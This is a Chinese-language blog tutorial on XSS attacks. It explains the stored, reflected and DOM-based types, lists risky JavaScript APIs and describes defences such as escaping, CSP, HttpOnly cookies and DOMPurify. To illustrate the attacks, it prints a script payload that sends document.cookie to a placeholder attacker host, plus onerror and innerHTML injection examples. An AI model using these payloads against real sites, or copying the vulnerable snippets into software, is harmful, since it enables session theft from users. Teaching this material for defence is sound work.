创见博客
XSS攻击
七崽爱吃小饼干2026/02/11阅读 1专栏 JavaScript

一、XSS 是什么

XSS = Cross-Site Scripting(跨站脚本攻击) 核心:攻击者往你的网页里注入并执行了恶意 JavaScript。 后果:

  • 偷 Cookie、Token
  • 监听用户输入
  • 跳转到钓鱼网站
  • 篡改页面内容
  • 窃取用户信息、发请求冒充用户

二、XSS 三大类型

1. 存储型 XSS(最危险)

攻击流程:

  1. 攻击者把恶意代码提交到你的数据库(评论、昵称、简介、留言板)
  2. 所有访问这个页面的用户,都会加载并执行这段代码
  3. 无感知、批量中招

典型场景: 评论区输入:

html
<script>fetch('https://hack.com/steal?c='+document.cookie)</script>

后端直接存库,前端直接渲染 → 所有人都被攻击。


2. 反射型 XSS

攻击流程:

  1. 恶意代码放在 URL 参数里
  2. 后端直接把参数“反射”到页面上
  3. 用户点开构造好的链接就中招

示例 URL:

https://your-site.com/search?keyword=<script>steal()</script>

后端直接输出: 你搜索的关键词是:<script>steal()</script>

特点:

  • 非持久,不点链接就没事
  • 常藏在短链接、广告、钓鱼邮件

3. DOM 型 XSS(纯前端最常犯)

纯前端 JS 操作 DOM 不当造成,和后端无关

最常见错误:

js
const userInput = location.search.split('content=')[1];
// 危险!
document.body.innerHTML = userInput;

攻击者构造 URL:

https://your-site.com?content=<img src=x onerror="steal()">

图片加载失败触发 onerror,JS 直接执行。

特点:

  • 不经过服务器,数据包看不到恶意代码
  • 前端框架使用不当也会触发

举 3 个直观例子帮你区分

1. “存数据库”场景(存储型)

  • 攻击者在评论区发:<script>偷Cookie()</script>
  • 后端把这段内容存到数据库
  • 所有看这篇文章评论的用户,页面都会渲染并执行这段脚本 → 中招

2. 不用存数据库(反射型)

  • 攻击者给你发链接:https://某网站.com/search?keyword=<script>偷Cookie()</script>
  • 你点开后,后端直接把 URL 里的 keyword 参数显示在页面上:“你搜索的是:xxx”
  • 页面渲染这个参数时执行脚本 → 中招(但这段代码没存数据库,只对你这个点开链接的人有效)

3. 纯前端触发(DOM 型)

  • 某网站有段前端代码:document.body.innerHTML = location.href.split('content=')[1]
  • 攻击者给你发链接:https://某网站.com?content=<img src=x onerror="偷Cookie()">
  • 你点开后,前端 JS 直接把 URL 里的 content 参数插入页面 → 执行脚本(全程和后端/数据库无关)

三、XSS 能做什么

  • 拿到 document.cookie
  • 发任意请求(冒充用户操作)
  • 监听键盘输入
  • 弹窗钓鱼
  • 篡改页面显示
  • 挖矿、刷流量
  • 传播蠕虫(如当年微博 XSS 蠕虫)

四、前端哪些写法会导致 XSS?(高频危险 API)

这些在项目里一用就要警惕:

  • innerHTML
  • outerHTML
  • document.write
  • eval("..." + 用户输入)
  • setTimeout(用户输入)
  • setInterval(用户输入)
  • new Function(用户输入)
  • 给 <a href="javascript:xxx"> 赋值

React/Vue 插值 {{}} 默认安全,但 v-html / dangerouslySetInnerHTML 依然危险。


五、XSS 防御方案

1. 最根本:HTML 转义(对纯文本内容)

把特殊字符变成实体:

  • < → &lt;
  • > → &gt;
  • " → &quot;
  • ' → &#x27;
  • & → &amp;

简单转义函数:

js
function escape(str) {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#x27;');
}

转义是如何解决XSS攻击的

第一步:先搞懂 XSS 能执行的核心原因

浏览器渲染页面时,会区分「文本内容」和「HTML/JS 代码」:

  • 如果你写 <div>hello</div>,浏览器会把 <div> 当成标签解析,hello 当成文本显示;
  • 如果你写 <div><script>alert(1)</script></div>,浏览器会把 <script> 当成代码标签,执行里面的 alert(1)。

攻击者就是利用这一点,把恶意代码伪装成“用户输入”,让浏览器误以为这是需要执行的代码——而转义就是打破这个伪装。

第二步:转义的本质——把“代码字符”变成“文本字符”

转义(Escape)的核心操作是:将 HTML/JS 里有特殊含义的字符(比如 <、>、"、&、'),替换成浏览器不认为是“代码”的「HTML 实体」。

举个核心对比表,一看就明白:

原字符(有代码含义)转义后的 HTML 实体(纯文本)浏览器处理方式
<&lt;不再认为是标签的开始,只显示成 <
>&gt;不再认为是标签的结束,只显示成 >
"&quot;不再作为属性引号,只显示成 "
'&#x27;不再作为属性单引号,只显示成 '
&&amp;不再作为实体的开始,只显示成 &

第三步:用真实攻击案例看转义的效果

场景:攻击者在评论区输入恶意代码
html
<script>fetch('https://hack.com/steal?c='+document.cookie)</script>
情况1:不转义 → 触发 XSS

浏览器解析时,会把 <script> 当成代码标签,直接执行里面的偷 Cookie 逻辑,结果就是用户 Cookie 被盗。

情况2:转义后 → 完全无害

转义工具会把这段代码里的特殊字符全部替换,最终渲染到页面的内容是:

html
&amp;lt;script&amp;gt;fetch(&amp;quot;https://hack.com/steal?c=&amp;quot;+document.cookie)&amp;lt;/script&amp;gt;

浏览器看到这些内容时,会认为这只是“一串普通的文字”,只会原样显示成: <script>fetch('https://hack.com/steal?c='+document.cookie)</script> —— 没有任何代码执行,攻击完全失效。

第四步:补充两个关键细节

  1. 转义要针对场景:

    • 渲染纯文本 → 转义 HTML 特殊字符即可(比如用 textContent,框架插值 {{}} 自带这个逻辑);
    • 渲染富文本 → 不能只简单转义(会把合法标签也转没),需要用 DOMPurify 这类库“过滤”(保留合法标签,删除恶意事件/脚本)。
  2. 转义的时机:

    • 推荐「输出时转义」(前端渲染前/后端返回前),而不是「输入时转义」—— 因为输入时转义可能导致数据污染(比如用户真的想输入 < 却被转义),输出时转义只影响显示,不影响原始数据。

总结

转义防 XSS 的核心逻辑就两点:

  1. 把攻击者输入的「代码字符」(<> 等)替换成「文本实体」;
  2. 让浏览器从“执行代码”的逻辑,变成“显示文字”的逻辑,从根源上阻止恶意 JS 运行。

简单记:转义 = 给恶意代码“脱马甲”,让它从“能执行的代码”变回“普通文字”,浏览器就不会中招了。


2. 绝对不要信任用户输入

  • 永远不要直接用 innerHTML 插入用户内容
  • 尽量使用 textContent 而不是 innerHTML
js
// 安全
el.textContent = 用户内容;

// 不安全
el.innerHTML = 用户内容;

3. Cookie 设置 HttpOnly(最重要)

即使 XSS 成功,也拿不到 Cookie:

Set-Cookie: session=xxx; HttpOnly; Secure; SameSite=Strict

JS 无法读取 HttpOnly Cookie,能防 90% 的偷 Cookie 行为。


4. 使用 CSP(内容安全策略)

在 HTTP 头或 meta 里设置:

Content-Security-Policy: default-src 'self'; script-src 'self'

作用:

  • 禁止内联脚本
  • 禁止未知域名脚本
  • 从源头阻止恶意 JS 执行

5. 前端框架默认安全

React、Vue、Svelte 插值都会自动转义:

jsx
{用户输入} // 安全
<div dangerouslySetInnerHTML={{__html: 用户输入}}> // 不安全

6. 过滤/校验输入

  • 限制长度
  • 白名单允许的字符
  • 对富文本使用专门的库(如 DOMPurify)

富文本一定要用:

js
import DOMPurify from 'dompurify';
el.innerHTML = DOMPurify.sanitize(用户富文本);

六、总结

XSS 是往页面注入恶意 JS 并执行。 分三类:

XSS 类型是否需要存数据库核心触发方式攻击对象
存储型 XSS✅ 是恶意代码→提交到数据库→所有用户加载页面时渲染执行所有访问该页面的用户(批量中招,无差别攻击)
反射型 XSS❌ 否恶意代码藏在 URL 参数里→用户点开链接→后端直接把参数“反射”到页面上执行仅点开恶意链接的特定用户
DOM 型 XSS❌ 否恶意代码藏在 URL/输入里→前端 JS 直接操作 DOM(如 innerHTML)→本地执行,不经过后端仅点开恶意链接/输入恶意内容的特定用户

防御:

  1. HTML 转义用户输入
  2. 少用 innerHTML,多用 textContent
  3. Cookie HttpOnly
  4. 开启 CSP
  5. 富文本用 DOMPurify
  6. 不使用危险的 JS 执行函数
评论
0/100